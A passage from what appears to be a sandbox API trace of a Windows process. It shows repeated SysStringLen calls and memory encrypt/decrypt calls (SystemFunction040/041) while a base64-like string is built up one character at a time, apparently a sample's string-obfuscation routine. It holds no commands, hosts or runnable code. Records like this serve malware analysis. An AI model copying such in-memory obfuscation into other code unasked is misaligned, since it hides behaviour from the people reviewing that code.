OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.982] SysStringLen (param_1="໿鉋䲰앺甗㚠ᔼ") returned 0x8 [0189.982] SysStringLen (param_1="໿鉋䲰앺甗㚠ᔼ") returned 0x8 [0189.982] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.982] SysStringLen (param_1="xoie") returned 0x8 [0189.982] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.982] SysStringLen (param_1="竔ͥ䫯뀎棺ࡳ궧") returned 0x8 [0189.982] SysStringLen (param_1="竔ͥ䫯뀎棺ࡳ궧") returned 0x8 [0189.982] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.982] SysStringLen (param_1="xoieg") returned 0x8 [0189.982] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.982] SysStringLen (param_1="๺▛礥▇鴚抾ꃊ⽩") returned 0x8 [0189.982] SysStringLen (param_1="๺▛礥▇鴚抾ꃊ⽩") returned 0x8 [0189.982] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.982] SysStringLen (param_1="xoiegs") returned 0x8 [0189.982] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.983] SysStringLen (param_1="Ⱏ观\阀贩鳈ᖭ∮) returned 0x8 [0189.983] SysStringLen (param_1="Ⱏ观\阀贩鳈ᖭ∮) returned 0x8 [0189.983] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.983] SysStringLen (param_1="xoiegsS") returned 0x8 [0189.983] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.983] SysStringLen (param_1="銻드跀Ⱪ犖Ｉ去䢰") returned 0x8 [0189.983] SysStringLen (param_1="銻드跀Ⱪ犖Ｉ去䢰") returned 0x8 [0189.983] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.983] SysStringLen (param_1="xoiegsSP") returned 0x8 [0189.983] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.983] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽") returned 0x8 [0189.983] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽") returned 0x8 [0189.983] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽") returned 0x8 [0189.983] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽") returned 0x10 [0189.984] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.984] SysStringLen (param_1="xoiegsSP4ŗ洁滘큽⻨") returned 0x10 [0189.984] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.984] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽⫵ﮃ협㇤敧Ⲱⶨ") returned 0x10 [0189.984] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽⫵ﮃ협㇤敧Ⲱⶨ") returned 0x10 [0189.984] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.984] SysStringLen (param_1="xoiegsSP4J洁滘큽⻨") returned 0x10 [0189.984] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.984] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽劸᱖ߒoꌪ鸶꺌茯") returned 0x10 [0189.984] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽劸᱖ߒoꌪ鸶꺌茯") returned 0x10 [0189.984] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.984] SysStringLen (param_1="xoiegsSP4J+滘큽⻨") returned 0x10 [0189.984] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.984] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽皗ɨ蕍멎▭櫝쭉") returned 0x10 [0189.984] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽皗ɨ蕍멎▭櫝쭉") returned 0x10 [0189.984] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.985] SysStringLen (param_1="xoiegsSP4J+7큽⻨") returned 0x10 [0189.985] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.985] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽髂ꠙ⭳놃ｷ졌贚") returned 0x10 [0189.985] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽髂ꠙ⭳놃ｷ졌贚") returned 0x10 [0189.985] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.985] SysStringLen (param_1="xoiegsSP4J+7J⻨") returned 0x10 [0189.985] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.985] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽ペ⳸◒짱쪾喽") returned 0x10 [0189.985] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽ペ⳸◒짱쪾喽") returned 0x10 [0189.985] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.985] SysStringLen (param_1="xoiegsSP4J+7JJ⻨") returned 0x10 [0189.985] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.985] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽䅞鴘䯢୲\叞짭茽≂) returned 0x10 [0189.985] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽䅞鴘䯢୲\叞짭茽≂) returned 0x10 [0189.985] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.986] SysStringLen (param_1="xoiegsSP4J+7JJR⻨") returned 0x10 [0189.986] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.986] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽⚋荨\◞鏬㨝\狝") returned 0x10 [0189.986] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽⚋荨\◞鏬㨝\狝") returned 0x10 [0189.986] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.986] SysStringLen (param_1="xoiegsSP4J+7JJRz") returned 0x10 [0189.986] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.986] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗") returned 0x10 [0189.987] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗") returned 0x10 [0189.987] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗") returned 0x10 [0189.987] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗") returned 0x18 [0189.987] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.987] SysStringLen (param_1="xoiegsSP4J+7JJRzI댌ㅪඑ哷윣") returned 0x18 [0189.987] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.987] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗⁷鵉ਔ噈ﮪ᭥남৶") returned 0x18 [0189.987] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗⁷鵉ਔ噈ﮪ᭥남৶") returned 0x18 [0189.987] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.987] SysStringLen (param_1="xoiegsSP4J+7JJRzIjㅪඑ哷윣") returned 0x18 [0189.987] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.987] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗ꍍ࢔쵶ᆈ䙙龦\۟⊬) returned 0x18 [0189.987] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗ꍍ࢔쵶ᆈ䙙龦\۟⊬) returned 0x18 [0189.987] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.988] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZㅪඑ哷윣") returned 0x18 [0189.988] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.988] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗瘵ꐕ醆垽᝛㓸\ǟ∣) returned 0x18 [0189.988] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗瘵ꐕ醆垽᝛㓸\ǟ∣) returned 0x18 [0189.988] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.988] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4එ哷윣") returned 0x18 [0189.988] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.988] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗﮽ص眭맭쯮") returned 0x18 [0189.988] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗﮽ص眭맭쯮") returned 0x18 [0189.988] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.988] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4r哷윣") returned 0x18 [0189.988] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.988] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗⓸菞끚毪纰棣䡨׫") returned 0x18 [0189.988] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗⓸菞끚毪纰棣䡨׫") returned 0x18 [0189.988] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.989] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4rC윣") returned 0x18 [0189.989] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.989] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗伔\nȀ횫坓␣ᇂ") returned 0x18 [0189.989] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗伔\nȀ횫坓␣ᇂ") returned 0x18 [0189.989] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.989] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4rCe") returned 0x18 [0189.989] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.989] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗㼺襶啑툸㑠팧옲") returned 0x18 [0189.989] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗㼺襶啑툸㑠팧옲") returned 0x18 [0189.989] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.989] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4rCe4") returned 0x18 [0189.989] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.989] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧") returned 0x18 [0189.990] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧") returned 0x18 [0189.990] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧") returned 0x18 [0189.990] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧") returned 0x20 [0189.990] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.990] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4rCe47㸱↮뿵䂍횕\xfdd4⩋") returned 0x20 [0189.990] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.990] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧꥛궬㒸咯ⱔໃ戦ᇪ") returned 0x20 [0189.990] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧꥛궬㒸咯ⱔໃ戦ᇪ") returned 0x20 [0189.990] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.990] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4rCe47N↮뿵䂍횕\xfdd4⩋") returned 0x20 [0189.990] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.990] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧몔؁펼傱貴덍") returned 0x20 [0189.990] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧몔؁펼傱貴덍") returned 0x20 [0189.990] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.991] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4rCe47Nz뿵䂍횕\xfdd4⩋") returned 0x20 [0189.991] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.991] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧ꈰ畖떊锡襆재ȓ點") returned 0x20 [0189.991] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧ꈰ畖떊锡襆재ȓ點") returned 0x20 [0189.991] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.991] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4rCe47Nz9䂍횕\xfdd4⩋") returned 0x20 [0189.991] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.991] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧佽䂣夨䒈ꌎ悰䙉") returned 0x20 [0189.991] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧佽䂣夨䒈ꌎ悰䙉") returned 0x20 [0189.991] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.991] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4rCe47Nz9k횕\xfdd4⩋") returned 0x20 [0189.991] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.991] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧৒๹㜳㘊嶣㱓ԑ瓑") returned 0x20 [0189.991] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧৒๹㜳㘊嶣㱓ԑ瓑") returned 0x20 [0189.991] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.992] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4rCe47Nz9kj\xfdd4⩋") returned 0x20 [0189.992] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.992] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧ݻ៘렫쾛戛燓ෲﻴ") returned 0x20 [0189.992] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧ݻ៘렫쾛戛燓ෲﻴ") returned 0x20 [0189.992] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.992] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4rCe47Nz9kjK⩋") returned 0x20 [0189.992] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.992] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧邌짮꾁凌ꄄ犀䊗⨚") returned 0x20 [0189.992] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧邌짮꾁凌ꄄ犀䊗⨚") returned 0x20 [0189.992] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.992] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4rCe47Nz9kjK8") returned 0x20 [0189.992] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.992] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐") returned 0x20 [0189.993] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐") returned 0x20 [0189.993] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐") returned 0x20 [0189.993] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐") returned 0x28 [0189.993] SystemFunction041 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0189.993] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4rCe47Nz9kjK8O怦쒝픡떖Ᏻ믣⥵") returned 0x28 [0189.993] SystemFunction040 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0189.993] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐귽ⱃ쒓氌曰㘗뚶﮻") returned 0x28 [0189.993] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐귽ⱃ쒓氌曰㘗뚶﮻") returned 0x28 [0189.993] SystemFunction041 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0189.993] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4rCe47Nz9kjK8Od쒝픡떖Ᏻ믣⥵") returned 0x28 [0189.993] SystemFunction040 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0189.993] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐걽㋅풍෕⮘蚇喾緦") returned 0x28 [0189.993] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐걽㋅풍෕⮘蚇喾緦") returned 0x28 [0189.993] SystemFunction041 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0189.994] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4rCe47Nz9kjK8OdV픡떖Ᏻ믣⥵") returned 0x28 [0189.994] SystemFunction040 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0189.994] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐輜ﭙ诩ꊵ咒鬄ꜝ") returned 0x28 [0189.994] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐輜ﭙ诩ꊵ咒鬄ꜝ") returned 0x28 [0189.994] SystemFunction041 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0189.994] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4rCe47Nz9kjK8OdV/떖Ᏻ믣⥵") returned 0x28 [0189.994] SystemFunction040 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0189.994] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐䝳噅￞犽ྪܸ촦砇") returned 0x28 [0189.994] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐䝳噅￞犽ྪܸ촦砇") returned 0x28 [0189.994] SystemFunction041 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0189.994] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4rCe47Nz9kjK8OdV/4Ᏻ믣⥵") returned 0x28 [0189.994] SystemFunction040 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0189.994] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐⁤械⦮⡠䭢䞻늴") returned 0x28 [0189.994] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐⁤械⦮⡠䭢䞻늴") returned 0x28 [0189.994] SystemFunction041 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0189.995] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4rCe47Nz9kjK8OdV/4t믣⥵") returned 0x28 [0189.995] SystemFunction040 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0189.995] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐쇽☛뒺荴႞恫쑤\⋟) returned 0x28 [0189.995] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐쇽☛뒺荴႞恫쑤\⋟) returned 0x28 [0189.995] SystemFunction041 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0189.995] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4rCe47Nz9kjK8OdV/4t3⥵") returned 0x28 [0189.995] SystemFunction040 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0189.995] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐荁굺⊖▤顰鐷됔") returned 0x28 [0189.995] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐荁굺⊖▤顰鐷됔") returned 0x28 [0189.995] SystemFunction041 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0189.995] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4rCe47Nz9kjK8OdV/4t3N") returned 0x28 [0189.995] SystemFunction040 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0189.995] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐ዟꕖ腙矟┱퍼練鞹") returned 0x28 [0189.995] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐ዟꕖ腙矟┱퍼練鞹") returned 0x28 [0189.996] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐ዟꕖ腙矟┱퍼練鞹") returned 0x28 [0189.996] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐ዟꕖ腙矟┱퍼練鞹") returned 0x30 [0189.996] SystemFunction041 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0189.996] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4rCe47Nz9kjK8OdV/4t3N0鷃촑껞攃褤媂") returned 0x30 [0189.996] SystemFunction040 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0189.996] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐ዟꕖ腙矟┱퍼練鞹㲞鮣漠짙摥鮪Ⓜ荵") returned 0x30 [0189.996] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐ዟꕖ腙矟┱퍼練鞹㲞鮣漠짙摥鮪Ⓜ荵") returned 0x30 [0189.996] SystemFunction041 (in: Memory=0x3da594, 